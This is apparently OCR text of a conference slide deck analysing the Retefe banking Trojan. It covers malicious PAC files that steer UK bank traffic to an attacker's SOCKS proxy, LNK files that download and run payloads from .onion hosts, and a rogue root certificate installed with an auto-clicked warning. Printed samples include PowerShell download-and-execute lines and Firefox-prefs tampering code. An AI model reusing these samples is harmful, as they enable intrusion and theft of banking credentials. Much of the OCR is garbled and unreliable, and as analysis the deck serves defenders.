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Proxy Auto-Configs



Proxy Auto-Config (PAC)

Defines how web browsers automatically choose the appropriate proxy server to fetch a given URL

+ Several predefined functions: Llfunction FindProxyForURL(url, hest) {

- - — - - I

var proxy = "S0CES 102.234.37.923:88;";
° iSPIainHOStName(), dnSDomair“S()’ var hosts = new Lrray('*barclavys.co.uk',
] ] ] = for (var 1 = 0y i < hoszts.length,; i++) {
localHostOrDomainls(), isResolvable(), isinNet(), % if (shExpMatch(host, hosts[i])) {

return proxy

dnsResolve(), mylpAddress(), dnsDomainLevels(), . )
shExpMatch(), weekdayRange(), dateRange(), - )
timeRange() 3 S

+ Must contain JavaScript function “FindProxyForURL (url, host)”, which returns:
« DIRECT - Connections should be made directly, without any proxies
* PROXY host:port - specifies which proxy should be used
* SOCKS host:port - specifies SOCKS server

Source: http://findproxyforurl.com/netscape-documentation/




PAC in Chrome / FF / IE

+ Chrome Comecton setins y

& Local Area Metwork (LAN) Settings X

Configure Proxies to Access the Internet

« Settings -> Advanced Settings -> Change proxy O o oy Automstic confurstion

Automatic configuration may override manual settings. To ensure the
(O) Auto-detect proxy settings for this network

. use of manual settings, disable automatic configuration.
Settl n g S “aa O Use system proxy settings Automatically detect settings

. © Manual prexy cenfiguration: Ise sutomatic configuration script
-> AN Settings

HTTP Proxy: Port:
- - Address | |

Use this proxy server for all protocols
SSL Proxy: Port: Proxy server
ETP Proxy: Port: 0 U_se a proxy server For_ your LAN (These settings will not apply to
SOCKS Host: Port: dial-up or VPM connections).

+ I n ter n et EX p | orer SOCKSwv4 ) SOCKSwS [ Remo_teQNS ° 80

No Proxy for:

* Tools -> Internet Options -> Connections -> LAN
Settl ngs Example: .mozilla.org, .net.nz, 192.168.1.0/24 Cancel

(® Automatic proxy configuration URL:

A 4k 4k

Advanced

Bypass proxy server for local addresses

| ‘ Reload

[] Do not prompt for authentication if password is saved

+ FI rEfOX Cancel Help

« Tools -> Options -> Advanced -> Network




The history of Retefe

+ In the past
* OLE embedding EXE file (RAR SFX, CPL, ...)
* Reported to target Switzerland, Austria, Sweden, Japan

+ References
* Aclose look at a targeted attack delivery (February 2014)

https://blogs.technet.microsoft.com/mmpc/2014/02/27/a-close-look-at-a-targeted-attack-delivery

» Finding Holes - Operation Emmental (July 2014), whitepaper

http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental. pdf

* The Circle Around Retefe (May 2015), talk at CARO Workshop

http://2015.caro.org/presentations/the-circle-around-retefe




Retefe now

+ Word Document (OLE, DOCX) embedding JavaScript or LNK file
+ Drops PowerShell scripts to install fake certificate

+ Simple JavaScript and PAC obfuscation

+ May install additional tools like Tor, Proxifier, etc...

Persistence may be added

+




Retefe now

+ References
Retefe is back in town (April 2016)

https://isc.sans.edu/diary/Retefe%2Bis%2Bback%2Bin%2Btown/20957

Thank You For Your Order Ref 58380529 Talkmobile — word doc malware (April 2016)

https://myonlinesecurity.co.uk/thank-you-for-your-order-ref-58380529-talkmobile-word-doc-malware

Retefe banking Trojan targets UK banking customers (June 2016)

https://blog.avast.com/retefe-banking-trojan-targets-uk-banking-customers

The evolution of the Retefe banking Trojan (July 2016)

https://blog.avast.com/the-evolution-of-the-retefe-banking-trojan
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Infection vector

. . . O\ d9-06 )+ _substgl - Microsott Worc
+ Social engineering

Home Insert Page Layout References Mailings Review View
« . . . . ” J—j % calibri (Body) -l v| IS - = - || EE EE Aﬁ % &
* “To see the invoice, double click on the image (B n s B EEEgis] Y O
05 |- A Aar|[A AT |- | g T Styles~ Styles~ || ~
Clipboard Font (] Faragraph (] Styles (F]

+ Victim double-clicks on embedded script
* No need for an exploit kit

« NO macros - no need to enable them

Open Package Contents @

. The package you are about to open will run a program contained in the
_J; package. That program could do anything! It may harm your
computer!

Unless you are absolutely certain about the nature, source, and
contents of this package, please press the Cancel button,

OK | Cancel I
|




Infection vector in 2016

oleObjectl.bin is OLE Package Listing archive:

Date Time Size Compressed Name

OLE Package contains JavaScript with
various filenames

Rechnung, Bestellung, Zahlung, Quittung,
DHL Paket, etc.

Invoice, order, payment, package, etc.

eDbjectl.bin




Infection vector in 2017

20 LSMKIG~1 Properties (23]
Compatibili I Security I Details I Previous Versions
General Shorteut | Options I Font I Layout I Colors

) ] LSMKIG™1
+ Since 2017, OLE Package contains m -

L N K fl I e Target location: system32

Target: pwershell -WindowStyle Hidden -EncodedComm:]

o
Start in: |

Postfinance.ch

+ LNK file downloads and executes

Shortcut key:  None

I Run: [Minimized v] e

Javascrl pt payload Comment: Um Quittung zu sehen, klicken Sie zweiMal auf dem Bild,

® CheCkS IP addreSS Open File Location ][Changelcon... ][ Advanced... ]

* Logs disc's volume serial number

* No Javascript payload served to visitors —_—

. . 0K Cancsl Apply
outside of targeted countries

S5File = Senv: Temp + ""f.7=";
(New — Cbject System.Net.WebClient) .DownloadFile('https://zxhZwyolblZmwSrzz.onion.link/lsmkiGeTM=51750.]=21p="

+ (New - Object System.MNet.WebClient) .DownloadString('http:/ /api.ipify.crg/") + '"&id="

+ ((wmic path win32 logicaldisk get volumeserialnumber) [2]).trim().toLower (), SFile);
(Hew - Cbject - com Shell.Rpplication) .ShellExecute (§File) ;

PSS CosUszerswin?> wmic path win32_ logicaldisk get volumeserialnumber
UolumeSerialNumber

PS CosUszersswin?> Cumic path win32_logicaldisk get volumeserialnumber>[2]
7441ATBB2
PSS CosUszerswin?>
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Infection vector in 2017

Back-end checks IP address and volume serial number

€ & | https://bou57tvg? mvyTxse.onion.to/S6MNE. s7ip="5.144.1.14&Id=uuuoii
eval (functionip,a,c,k,e,d) {e=function(c) {return(c<a?"'"':e (parselInt(c/a)) )4
{return d[e]}]:e=function(){return'\\w+'}:c=1l}:;while(c—-)if(k[c])p=p.repl

CREQ.1t[n] }:$REQ. 1c=["4E", /{ (\\d+) } /g, /4D/g, "=/ +4C", "==4B", "=4h44z/dy+4x/
F3R+3Q", "==3P", "==30/3NH", f ["A-3M-3L-9+/=]/g, / ("\\=s+) | (\s+8) g, "3KE"] ;M c=

TR

€ @ | https://bou5Ttvg7mvyTxse.onionto/56N8)DdvFIFgjs?ip=5.144.1.14
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Installation of the Malware



15

Malicious JavaScript file

+ Obfuscated

+ Simple deobfuscation by replacing
 eval() -> document.write()

+ Deobfuscated script contains config with

* Three base64 encoded PowerShell files
« Malicious certificate authority
* PS script to “confirm certificate”
* PS script to install cert to Firefox

var ConEig

« Config server URL behind TOR )

’= */
/% This obfuscated code was created by Javascript Obfuscater Free Uersion.sf
7% Javascript Obfuscator Free Uersion can be downloaded here -/
#x nttp://javaseriptobfuscator.com wf
i */

00475B8,79.70. 05, 9,85 BT suar u=[)For (uar e-Bieck LengthiesJulkle] IsesTiuar w-[ 1560 (uar a-Biacarqunents. lengthiase) (uar poarqunents{ 3]
entstrings”, 1ud1 ] jbyuderSehFenycdi 27ungS hzubGuniel Ji6ns junbszegFsshadito

74,80,71,81,82,72,87,76,90,89
iron g6 " Lin
 OPHER 1\ G501 E20,y JNDEXS JAPS 1L NGARGGIpP T 0P pOa1iH | T@EGr gkqni ] 9uRr CEL - e 1L 156, znusun.lnjuu@wllwﬂjlmﬂglﬁl

eval{(Function(}{var k
_$_coB6=["@mScript.Shell

CBEPHAPPZP. quaznmn
nld0GE Hib o 4t BugHP { Bui qgE3HT g j ji 191 plwd 78] 631
muzmlmapwxsm«1mntmn 12x@yBtD Tup2 /pOEKB7irai i j it

K@i uiGT. j PTy iBziP .G

J5J<Puh BP-u a1 JiicyhJ7d21 . A ZHi5)
JgdJ | SEP ; 1JgCpRUIAER ; 1D3@1 1580 |30 Juugp2hpbP2.J | nCEHPEKPOUBRAS2 yhyk St BP=CPr Py | TJ3TJegnt .lqn.lIludl:nl.llwllPl:l.:Z.lIkl:l’ylll!.l.ldnﬂal‘l]pP|Eg\!il:PyEljld.l]IEkul:~hI'Zr.lIul:llP'H'lludEl.Eng'va ZCEIEJEF J | 0BLHz(
G510 3phnHIPYG0SPYRI51dyGrPzigpP/J61G5F@]J/9.. 'uzg.-m G 1pl J[r9P> 1Nz oP: 7. A6UNT JeySBLHEUGLS T3RGubG) BeShsG (gl Pao
SHZINETxsI1106+qd, piapy 1cnuJ7alapr JB0TJ1EZPXUP_KOGTRQJqK Wy 142. xmmﬁruuu{uuzIstxEml:?klilgy.lr.lw:.lﬂuvumji.lsm.l(|J?Jxlnnn(kmulmrn uTis
BzPrl sBynfz jat ) pPn 0P 1;8p2.J9 T26gqP: NG yPEHI UM 2. * AN P30 JE. -pon1DG] SPyDysJ . 1Py 2P (] P\ * 2P (BzNOP31C16g1 €3Br-uE . 1PIDEWENIE. BGErbn1DE:
1J@JLP +@on@y1b@1 JGEGGP60@sTGS@.1 JAJLP +Gonay1bA1 JGE 1085 J0.1067 0J0BGU JPPOIC kP agLe dHobnhz T JLGTwi JHPEPLNGLJYEGKE L1+ EPC10kF JniBzn@pGsAENGTKED JPBErwdGL IP10JHP“EPLNGLIYEGKCE.Z@y IhcnHoPwmPaaK J52@1 Pt
Jnd” 4} 2 BRI I I 1P ( SugJoulp2d =P :BqdPpLEN1 BgBOP Y] 24eJTC=JylLHSJUEY ]G0 1JuHhT 2550 Swg A5 pR2T) | TCERI 18] PUrDENBYEYR) s JRIN0BI [5Jn 1P (SugJoulBp2 J+F :BgdPpLRA1 0gR0PpYR] 2.0+J7 Gy Hs JUEY1CD1JuNNT255e 50
s urncn@gmxans]mr@zw:n]g‘umyzc“@se G/ v@p™ Bs 165 T~dG/pbmc™P/ I CEBLGB kD ™ Pa@ke . o uPy 185 i@y Pyl BnokGLL™ | P- 06 1GLPU-~d@nP 110G 1Gr~1TRPA~DP - ~PyDEr I 7P i~y bEr@upb PLE]
23z-@nC-jcnvIMIC-0Cr 166G~ 0E INPPSSKT - JavadL o)1 Jawry 162BUNE0SUgDIINACJUP (4 J7@1HS TPL1B0 @ yP 1cEJnnCer EUP Q1185 TINPR. G822 40P | ybir Tk
Qﬂnlﬁinysll:ng.lrnﬂc:mnyn:u.l[jmﬂgyl: KiBsTs ). ) WGzSTGUIEP JUycnaS X 181PEGAI CJF 0ok Lc3akyb31.J[ JBLBOYG, 1P +pJAIKEGOP o2 nﬂjﬁnnnldhﬂnmnamuﬂﬁla!{klninu.ﬂpynullul’nvlﬂs.l P P-ve@Jrrcndghez

e i ) aatar J[uPd.)), g qPs. JOIDOP @UEH]OP-mbMAZOPE. rhIZEP-mibl
rzﬂP(Nt0$JFJ$J\\hﬂnﬂvﬂnﬂerhut:c"ﬂusmtsug?muu.l\\ﬂ.l rJ{ IG1HOP &1 cywhi@h SaraPUg@hiy L 115P9J P:riully Fyodzhtetued PS4 Foc)) JIEPKPUISILIGE I (oghl). rauiy NG
rPPgBonEgubSEre ; dpc 3Pl

J” kg 29U ELdC5R1 CrY LR Bu2fa0 TR BIGESEIHI[ sTSJ1FE], JPEj aCEWORIEEL 1D J- JBPAICEG 1] BHCY] wenl 2PE] TEGKPE | 46" eByE ( nBgP BSJBUEY PP ORS.JtEE 115.11.0/P2nbyBIEYP £ aC@JoPBICCEY TR d1dCRIBG- 1
P:rSPndpcaPHyt1E> tPglus 1> udI@Ixvi\ " TEUTIBrLULNIGpkE 1eShp ) Jo@nPHoP" mouc 15W@LIIPOU P:GHY@rnPkajga > rkPTIapIAkUCHKPY) Pirzd JzuPuG(y@uPTChz]_pPRupbkJLuTaar Lb1H1GpkLLeSy1 TanduphLlpapRaulonbPs1asCagag )y
CRgeY.IYIR1I036, HODPLEL I UOPyaPBROING.IS100P EGKPR{d660YG (N80 JRUPUG(YPLI 1P 1 {PE]aCBMORIEILI)PYT) O] 1, 9.J- JANP71R0NGHAYP <aD.INY D] pPILE D SNCLEPe D6GUKALOE 1uPT

e 311681icPoprot e <InitP_GePuPirinarybataloJfps.ps1P/tip™, HSHtHAN? GEHENGLTTBRPIiET", http://api.ipify org/","openGBendGBtatuty responseTexi
chrone. axe']FJIE-nullFJMu-nnllF?tart—nullP?ussF).l os.s[uufsapu'un a-lmus-ﬂnm:ua -2P7CEKERUTE_GUOZEPHKITE_SQUEZE_MBUDE-2P7EMIz_ TEMAN-wss 0 JK2JuENRZ_GWanGR DG T Gw-uss JQJKAJutonfig={ 01
ioe= W){qP)JrP)JBoF)JBLP)JUNIRE :String R3] ((qBgBg 2)| (r>> ), ((rE 15)Bqlg k)| (o3> 2),((st 3)Bqlq 6)| t)))iw- [wJROJKNS])]}iswitch(ch h){case B:breakicase 2:qP)JirP)IHuRE:String] $™JCCBugILa™.
“SP\"‘yhr‘!z:il“ePNlEgum’ ‘cert"’g!hsa"‘kl’mp?vf‘xl’a’"&nl’j“' PL*[“PKEY BBLIPKAK~2dP1~) {var “Piie~BKk20z 8 @L6E NPY™u0ES 1C udBnxs~aBLNBC BuwdEs™ var “TPHHCiBv ugl yPr&n@urlm" v’iEth"er‘
U}, Bienstr:JiRr EJAn-0JT 5110 eFined){E= False};uhile(@u@ Br){D= (MathJ955]1]((HAthJISLILEC 100))% P4)+ 3BJRTEI{IICIBITHTIN ;1 ICERITOMI 1 LICHTI7I60T 5 LICTI2BIT 12601 ;Gues iBo= J,[43] (D)
quﬂ]].lo?z] B,trud(g”-l)tl ymss.lwa.m-;:]).ntrue)-:au:n(e.l Falsedd*2980.2]d ))¢d 314 033 JPEJH?JKMNEIIDEWGWW?]J'ﬁ1]]J<[1lB]J01D1.J$F5uJ?1BZ]g(Es:Jnn-FquNM]](GS)JNUJ]]JREIJNUS]P a{am
SRR -SSErAng[_S_c986™Th 597 FS0U9I BY 97N~ ) { continue U929 [F09117] | {J-"UeN"s J=)B6 (DBq- ~Function CX[J-"){return ~function(~- _§ co86 §_coB6[~ireturn ~JHIF(~],0,Fals™){IMETuss[_§_“F(1




Malicious JavaScript file

+ Core function
* Init
 Drops cert.der, ps.psl, psf.psl

Start

Installing on IE / FF
* |[E, Chrome — Windows Certificate Store
* FF — its own certificate store

CloseAllBrowsers

Close
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fonection Core() {

this["Init"] = function() {
Cert = new C Cert():
Cerc["Inic"] ()

IE = mew C IE():
FF = new C_FF ()
b
this["S5tcart"] = fonetion() {
this["Inic"] ()
this["Clo=seRl1EBrowsexrs"] ()
this["Insca11TIE"] {}
this["Insta11FEF"] {}
WScript ["Sleep™] (S000) ;
this["Clo=s="]{}
b
this["InscallIE"] = funection() {
IE["In=tallCert™] ()},
IE["In=tallFPac™] (}
b
this["InscallFF"] = funection() {
FF["In=tallCert™] {}
FF["In=tallFac"] (}
b
this["CloseRllEBrowsers"] = function(} {
wss["Eun"] ("ta=skkill /F /im iexplore.exe", 0O, false);
wss["Eun"] ("taskkill /F /im firefox.exe", 0, false);
wss["REun"] ("ta=skkill /F /im chrome.exe", 0, false)
b

this["Clo=e"] = funetion() {
Cert["Clo=e"] ()}
IE["Clo=e"]{}:
FFE["Clo=="]{}




Malicious JavaScript file

+ Installing on Firefox
* Finds default profile in \\Mozilla\\Firefox\\Profiles

° EdItS pl’eijS var StrPrefsJds = StrProfile + "“\prefs.j=";:
. if (fso.FileExists(StrPrefsds)) {
¢ Delete b|OCkD0tOnI0n var StrContent = fzo.CpenlextFile(StrPrefsds, 1) .Readhll():
var ArrContent = StrContent.split("'n"):
* Delete network.proxy var NewArrContent = []:
Settings for (var 1 = C0; 1 < ArrContent.length; i++) {
if (ArrContent[i] .indexCf("network.dns.blockDotCnion™) 1= -1) {
ArrContent[i] = ArrContent[i].replace{"tru=s", "falses")
i
if (ArrContent[i].indexCf("network.proxy.") = -1} {
HewArrContent .push(ArrContent [1])
i
i
Newﬂrrtontent.push:“;se:_;:ef-1“:e:w::x.d:s.:;::x:::::;::ﬁ“, false) ") ;

StrContent = NewhrrContent.jodin(".\n"):

var stream = fzo.CreatelTextFile(5trPref=Jd=, true):;
stream.Write (SCeContent) ;

stream.Cloze ()

17



file://Mozilla/Firefox/Profiles

Installing the certificate

thiz["InstallCert"] = function() {

+ USGS Certutil if :!this[":_;.::v:':—-'_::s:a'_'_e:i"]t}} {}:

this["ConfirmCert™] () :
was["Eun"] {"certutil -addstore -f -user \"ROOT\™ “"" + Certc["FileNams"] + "\"", 0, true)

Security Warning J

You are about to install a certificate from a certification autherity (CA)
claiming to represent:

COMODO Certification Authority

+ Uses “PS,, PowerSheII script to “confirm,, Windows cannot validate that the certificate is actually from "COMODO

Certification Authority”, You should confirm its origin by contacting
"COMODO Certification Authority”, The following number will assist

security warning and click on Yes to install

Thumbprint (shal): 34E6DEC4 FOF44484 CTB3BT13 E3A093ED FT843609

Warning:

If you install this root certificate, Windows will autematically trust any
certificate issued by this CA. Installing a certificate with an unconfirmed
thumbprint is a security risk. If you click "Yes" you acknowledge this
risk,

Do you want to install this certificate?

Yes
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Installing the certificate

+ Finds a window with Dialog Box system class in csrss or certutil process

+ SendMessage, BM_CLICK

+ Security warning quickly disappears s

CombolBox
[D1lImport ("user32.d11", CharSet — CharSet.Auto)] DDEMLEvent
static extern IntPtr SendMessage (IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr 1Param); Message
const int BM CLICK = O0x=CO0FS;
public static wvoid Start(){ -
IntPtr hind;
do{
nWnd = FindWindow("$32770", null); 32769
if ('hiWnd.Equals (IntPtr.Zero))
{ =32770
String sExeName=GetExeName (hiWnd) ;
if (GetExeName (hiWnd) .Contains ("c=sr=s=") || GetExeName (hiWnd) .Contains("certutil™)) #32771
i
break; #32772
lelse
{
hWnd=IntPtr.Zero;
¥

}
twhile (hWnd.Equals(IntPtr.Zero));

Description

The class for the list box contained in a combo box.

The class for Dynamic Data Exchange Management Library (DDEML) events.
The class for a meszage-only window.

The class for a menu.

The class for the desktop window.

he class for a dialog box.

The class for the task switch window.

The class for icon titles.




Installing the certificate

+ Fake certificate

@ [ Certificate

<All = v]

Certificates

Intended purpose:

| Intermediate Certification Authorities | Trusted Root Certification Autherities | Trusted Publ * | *

| General | Details |Certiﬁmtior1 Path

Show: [«:A]I:: v]
Issued To Issued By Expiratio...  Friendly Mame it
r Field Value ol
[SpladdTrust External ... AddTrust External CA...  5/30/2020  The USERTrust ... Evers
@Balﬁmure CyberTru.., Baltmore CyberTrust..., 5f12/2025  DigiCert Baltimor... DHEF_SITH b V3 bf b -
[5class 3 Public Prima... Class 3 Public Primary ... 8/1/2023 Verisign Class 3... DSfarla num ;Er " DE #765cabre ab 5568 1
5,/COMODO Certificat... COMODO Certificatio...  2/12/2025  <None> DSF”E‘”E :5'“:' I"‘ " 5:256%“ 4
T2]COMODO R5A Cert... COMODO RSA Certifc... COMODO SECU... Signature hash algorithm sha2s ro—
[ Copyright {c) 1997 ... Copyright () 1997 Mi...  12/30/1993 Microsaft Timest... e T e
@Digiﬂert Assured ID.., DigiCert Assured IDR... 11/9/2031  DigiCert El"" ks Thursby. Feb 15 2098
[/ DigiCert Global Roo... DigiCert Global Root CA 11/9/2031  DigiCert =l Lrsaay, Fenruary 12, -
. . .. § . "_-l':I himrt misifmvhnet mwdnmaing COM

@Dlglﬂert High Assur... DigiCertHigh Assuran... 11f9/2031  DigiCert &7

E = me@myhost,mydomain

CN = COMODO Certification Authority

[ Import... ] [ Export... ] [ Remaove OU = COMODO Certification Authority
0 = COMODO CA Limited
Certificate intended purposes L = salford
S = Greater Manchester
<All= C =US

View

Edit Properties. .. ] [ Copy to File... ]

Learn mare about certificates Close

Learn more about certificate details

HTTP5/55L

| Manage certificates... |

20
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Installing the certificate into Firefox

+ Invokes imports from nss3.dll (Network Security Services)
@ CERT_GetDefaUItcertDB CertTrusts CertTrust = new CertTrusts()

L. CertTrust.iSite = Oxl10;
 Returns handle for default certificate database CertTrust. ifmail = bt

IntPtr CertToImport = new IntPtr() .,
IntPtr[] aCertTolmport = new IntPtr[l]:

//End init cert
[ ] I I I
CERT I portcerts int status = N55_Initialize(sProfile, "", "", SECHMOD_DB, N55_INIT_ OPTIMIZESFACE);

if (statms != ERROR SUCCESS)
 Imports the certificate t

1
IntPtr bd = CERT_GetDefaultCertDB():
if (bd.Egquals{IntPtr.Zero))

° CERT_ChangeCertTrUSt { §SS_shutdown () ;
» Sets flag CERTDB_TRUSTED CA !

status = CERT_ImportCerts(bd, 11, 1, ref aCertItem, ref CertToImport, 1, 0, IntPtr.Zero):;
if (statws != ERROR_SUCCESS)
i

return false:

N55 Shutdown() ;
return false:

1

Marshal.Copy(CertTolImport, aCertTolmport, O, 1}
status = CERT_ChangeCertTrust(bd, aCertToImporc[0], ref CertTrust):
if ( statws != ERROR_SUCCESS)

i
N55 Shutdown() ;
return false:




Installing the certificate into Firefox

+ Code probably inspired by thread from exploit.in forum

https://forum.exploit.in/index.php?showtopic=99705&mode=threaded&pid=616876

WcnonboBaHKe Nss3. #*

NoanmCKe wa Temy | CoOBuMTS APYTY | BepCHA AN newsT

[ 12.02.2016, 13:37

MowmoruTe pazobpaTscs B Nepesoe GyHKLUMK Ha C#

BOT KaK 0Ha BLITNAQAT B C4+

Kopn

Coobuwetuii: 3

Peructpayus: 28.07.2014

Noawzosatens N 56 535 SECStatus CERT_ImportCerts (CERTCertDBHandle *certdb, SECCertUsage usage, unsigned int ncerts, SECItem **derCerts, CERTCertificate =**retCerts, PRBool keepCerts, PRBool caCnly, char “nickname)
BesTenshocTe: ko

PemyTaupa: 3
(0% -

Onpegenerve dyHkumn Ha C#

Kop

BUBliE Bytet] biatar
public int IDataLen;

}

[UnmanagedFunctionPainter{CallingConvention.Cdecl)]

private delegate int CERT_ImportCertsPtr(IntPtr certdb, uint usage, uint ncerts, ref SECItem derCerts, IntPtr retCerts, uint keepCerts, uint caOnly, string nickname);

private int CERT_ImportCerts(IntPtr certdb, uint usage, uint ncerts, ref SECItem derCerts, IntPtr retCerts, uint keepCerts, uint caOnly, string nickname)

{

IntPtr pProc = GetProcAddress(nssModule, "CERT_ImportCerts”);

Wcnone3osakve dyHKumm

Kopn

if (bd.Equals(IntPtr.Zero))

{
Logger.Error{"CERT_GetDefaultCertDB Failed");
NSS_Shutdown();
return false;

¥

Logger.Debug("CERT_GetDefaultCertDB OK");
status — CERT_ImportCerts(bd, 11, 1, ref Certltem, CertTolmport, 1, 0, null);

¥ MeHR W BLIZ0BE 3TOM (YHKLMN BbIAALT OBy
Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

MoacKaxUTe MOXANYIACTa, UTO ASNAK) HE TaK

Coobusenme orpenskmposan MikeWaz - 12.02.2016, 1




Modification of PAC URL

+ Uses hidden service gateway to access .onion domains

+ URL matches regexp format
« \w+\.onion(\.to) ?V\w+\.js\?ip=\d{1,3N\.\d{1,30\.\d{1,3\.\d{1,3}

ﬁ Registry Editor
Eile Edit VNiew Favorites Help

----- ; Feeds » || Name Type Data
>~ Fiddler2 ab] (Default) REG_SZ (value not set)

'EE;NUS Auta[nnfigpraxy REG_SZ wininet.dll

. )l 1AM o AutoConfigURL https://zmkmg2ogpf3busfrm.onien.to/YZQqQZZj .
s b IME ia| _ertificateRevoc... R A

o IMEP — || 2% DisableCaching.. REG_DWORD 0x00000000 (0)

- . IMEMIP ‘ .‘?E]EmailName REG_5Z User@

L Installer $4EnableHttpl 1 REG_DWORD 0:00000001 (1)

[l Intenet Connection Wizard = ||| #EnableNegotiate  REG_DWORD 0:00000001 (1)
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Malicious PAC file

+ |P address matters
* Non-UK IP address

i) @ | httpsy//zmkmg2ogpf3bxsfm.onion.to/YZQqQZZjjs?ip=1.1.1.1

wBea 93+ a e

c Q, Search

Y onion.to does not host this content; we are simply a conduit connecting Internet users to content hosted inside the Tor network..
TO RZ\J W F% onion.to does not provide any anonymity. You are strongly advised to download the Tor Browser Bundle and access this content over Tor.
For more information see our website for more details and send us your feedback.

hide Tor2web header

404 Not Found

nginx

« UK IP address

€ O @ | hitpsy/fzmkmgZogpfibxsfm.onion.to/YZQqQZZjjs?ip=

T8 9 3 A& e - =

c Q Search

eval(function(p.a.c.k.e.d){e=function(c){retum(c35?String fromCharCode(c+29):c.toString(36)) } :1f{!".replace(/"/, String)) {while(c--) {d[e(c)]=k[c] | |e(c) }k=[function(e) {return
d[e]}].e=function(){return"'w+'};c=1} :while(c--) {ifik[c]) {p=p replace(new RegExp("\b'+e(c)+"'\b",'g") k[c])} }retum p}('g m(1.b){4 9="n 5ok pr;":4 8=h d(\*c. 1.2V V¥ .3V \*e 3

VNG 12V Vg 6.1 2V VL6 1 2V VEy L2V VRC 3V VB DL 2V Vs 3V VRE L 2V VF LA L 2V VT 3NV VR T3V 2 L2V VR L 2V VR 3V v (4 120,18 wirtH){ T(x(b,8[1])) {a

9}1a"E"}' .42 42 '|coluk/com|var|hsbe|if| hosts|proxy|return/host barclays| Array|nwolb|business[wwwinew| | natwest|1 83 |url| FindProxyF orURL |[SOCKS|34| 15 8| function| 80| cahoottescobanl
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Malicious PAC file

+ Obfuscated with Dean Edwards packer function FindProxyForURL(url, host)

var proxy = "S0CES 185.14.30.97:

i

var hosts = new Arrav(

eval (function(p,a,c, k,e,d) '"#parclays.co.uk",
"*natwest.com',
"*nwolb.com'
+ Proxy server URL
"www.hsbc.co.uk",

iness.hsbc.co.uk’

* |P address : port

"*cahoot.com"

busi
"*zantander.co.uk',
o

L}

"*amile.co.uk"',
'*co-operativebank.co.uk',
. . "if.com',
+ Lists of hosts —targeting UK banks v.if.com’,
"*ulsterbankanytimebanking.co.uk"’,
"*gainsburysbank.co.uk",
"*tescobank.com") ;
for (var i = 0; i < hosts.length; i++)
if (shExpMatch({ho=st, host=[1i]))} {
return proxy
}
}

retorn "DIRECT

i
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Tor, Proxifier

+ At the end of June, additional tools
and features were added

* Tor
* Proxifier

SZpurl = "http://°'
Swe.DownloadFile ($purl, 5PFile):
Unzip £PFile £DestTE:

rm - Force E£PFile;

&p = 5DestTP + '‘p'\Proxifier.exe';
AddTask 'LRdobeFlashPlayverUpdate' Sp:

+ %Domain + '".link/p.zip?t=" + [System.DateTime]::

How.Ticks;

. Proxification Rule @

Mame:  Localhost Enabled

Applications
Any

Example: iexplore.exe; "some app.exe”; fire*.exe; *.bin Browse...

Target hosts

localhost; 127.0.0.1; %%ComputerMame®s; api.ipify.org

Example: 127.0.0.1; *.example.com; 192. 168.1.%; 10.1.0.0-10.5.255.255

Target ports
Any

Example: 80; 000-3000; 3128

Action: [Direct -
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Persistence

+ Newer versions are more persistent

+ Download and use Task Scheduler Wrapper

@ Task Scheduler Managed Wrapper

SOURCE CODE DOWNLOADS DOCUMENTATION DISCUSSIONS ISSUES PEOPLE LICENSE
Page Info | Change History (all pages) + Follow (360} Subscribe

This project provides a wrapper for the Windows Task Scheduler. It aggregates the multiple versions, provides
an editor and allows for localization.

NuGet download
This project's assemblies are available via NuGet.

» Main Library: Task Scheduler Managed Wrapper (TaskScheduler)

Search Wiki & Documentation Q

CURRENT Release 2.5.21

» Ul Library: Task Scheduler Managed Wrapper Ul Library (TaskSchedulerEditor) DATE Thu Jul 28, 2016 at 5:00 AM
Main Library STATUS Stable
Microsoft introduced version 2.0 (internally version 1.2) with a completely new object model with Windows

DOWNLOADS 8,918
Vista. The managed assembly closely resembles the new object model, but allows the 1.0 (internally version 1.1

MName Status Triggers
(% Adobe Flash... Ready At 4:01 PM every day - After triggered, repeat every 1 hour
(B AdobeFlash... Running Multiple triggers defined

% GoogleUpda...
5% GoogleUpda...
% GoogleUpda...

Ready Multiple triggers defined
Ready Multiple triggers defined
Ready At 10:18 AM every day - After triggered, repeat every 1 hour

4 | 0 | 3
| General | Triggers| Actions | Conditions | Settings | History (disabled]|
Action Details i

Start a program

ChUsers\winN\AppData\Roaming\ TP\ p\Proxifier.exe

m

COM abjects to be manipulated. It will automatically choose the most recent version of the library found on the
host system (up through 1.4). Core features include:

Stor=5%DestTE+'"
$tor_cmd="-Windo

RATING 4 ratings
Review this release

“"y] public stat

AddTask 'GoogleUpdateTask' 'PowerShell.exe' $tor cmd:

SPFile=Senv:Temp+' "\ p.zip'
Swc=new-object net.webclient;
Spurl='htcp://'+5Domain+’ .1
Swc.DownloadFile ($purl, $PFile) ;
Unzip S£PFile %DestTE:

rm -Force §PFile:
Sp=%DestTP+'"\p“Proxifier.exes";
AddTask 'AdobeFlashPlaverUpdate' Sp:

nk/p.zip?t="+[System.DateTime] : :Now.Ticks;
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Example of Fake Banking Sites
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Fake Banking Sites

+ Request credentials
Credit Card number

Social number

Mobile phone number

Security code

+ Difficult to recognize
« Fake certificate
 Legitimate certificate

+ Use counter to delay user action

Please wait...

00:02:51
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Intelligent Finance

Please wait...

00:02:57
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Credit Suisse

B Sacrrn | Retmetios dieambmab maa i L Ll D T i i

C CREDITSUISSE‘
Installation der Mobil-Applikation. Schritte 1:

Zemafi den neuen Benutzungsvarschriften, muss jeder Login-Versuch unter Verwendung van einem Einmalpasswaort
arfolgen. Deshalb sollten Sie das Programm auf Inrem Maobiltelefon installieren. Dieses Programm generiert
Einmalpasswarter fir den Zugang zu lhrem Cnline-Banking. Im Sinne der Erhdhung der Sicherheit ist dieser “organg fur
jeden Kunden obligatorisch. Wir danken fir Ihr Verstandnis.

Zum Installieren der Applikation auf lhrem Telefon missen Sie folgende Schritte ausfiihren:
1. Geben Sie das Betriebssystems [hres Mobiltelefons (Android, i05 oder Windows Fhone) ein

2. Geben Sie lhre Mobilfunk-Mummer gin. Legen Sie dabei bitte besonderen Augenmerk auf die Richtigkeit der Eingabe.
Digse Nummer sollte unbedingt mit der beim Cnline-Banking eingetragensen Mummer Ubereinstimmen. Anderenfalls kann dig
Applikation nicht installiert werden. In inigen Minuten erhalten Sie eine kostenlose SM3S mit dem Link zum Installieren der
mabilen Applikation.

Betriebssystems: -- \Wahlen Sie ein Betriebssystem - v
L Mobilenummer : | Schweiz (+41) v
'Osterreich (+43)

| Weil Deutschland (+49)




Two-factor authentication

w
CREDIT SUISSE

